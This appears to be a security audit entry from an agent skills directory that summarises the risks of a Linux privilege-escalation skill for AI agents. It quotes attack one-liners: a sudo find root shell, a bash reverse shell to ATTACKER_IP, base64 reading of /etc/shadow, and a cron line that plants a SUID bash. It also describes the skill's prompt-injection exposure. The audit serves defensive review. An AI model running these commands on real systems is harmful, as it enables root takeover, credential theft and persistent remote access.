The Agent Skills Directory

[PRIVILEGE_ESCALATION]: The skill documents multiple functional paths to elevate user privileges to root, including:
Exploiting Sudo permissions for binaries like find, vim, awk, python, and less (e.g., sudo find . -exec /bin/bash \; -quit).
Leveraging LD_PRELOAD with a custom shared library to hijack execution flow during a sudo command.
Exploiting SUID-bit binaries such as base64 to read restricted files, cp to create an elevated shell, or find to execute arbitrary commands as root.
Utilizing Linux capabilities (e.g., cap_setuid) with scripting languages like Python or Perl to switch the process UID to 0.
Exploitng NFS no_root_squash configurations to create and execute SUID binaries from a mounted share.
[REMOTE_CODE_EXECUTION]: The skill instructs the agent to download and execute code from external sources:
Fetches and executes the linpeas.sh enumeration script from a public GitHub repository.
Downloads kernel exploit source code (exploit.c) from a user-specified attacker IP address for local compilation and execution.
[DATA_EXFILTRATION]: Provides several "Reverse Shell One-Liners" using Bash, Python, Netcat, and Perl intended to establish outgoing network connections from the target system to an external IP (e.g., bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1).
[COMMAND_EXECUTION]: Includes a broad array of system enumeration commands to gather kernel data, network configurations, active processes, and environment variables.
[CREDENTIALS_UNSAFE]: Demonstrates how to access and decode the /etc/shadow file to extract password hashes for offline cracking (e.g., base64 /etc/shadow | base64 -d).
[PERSISTENCE]: Contains instructions for achieving persistence by modifying root-owned cron scripts or creating persistent SUID binaries (e.g., echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /opt/scripts/backup.sh).
[DYNAMIC_EXECUTION]: Directs the agent to compile C code into executable binaries (gcc exploit.c -o exploit) and shared libraries (gcc -fPIC -shared) on the target system to facilitate exploitation.
[EXTERNAL_DOWNLOADS]: Identifies external dependencies and tools including LinPEAS, LinEnum, and Linux Exploit Suggester fetched from GitHub and user-controlled servers.
[INDIRECT_PROMPT_INJECTION]: The skill possesses a high attack surface for indirect injection as it ingests large amounts of untrusted system output (process lists, file contents, network stats) and has the capability to execute commands, write files, and perform network operations. While a confirmation gate is defined in SKILL.md, there is no evidence of automated sanitization for ingested data.

linux-privilege-escalation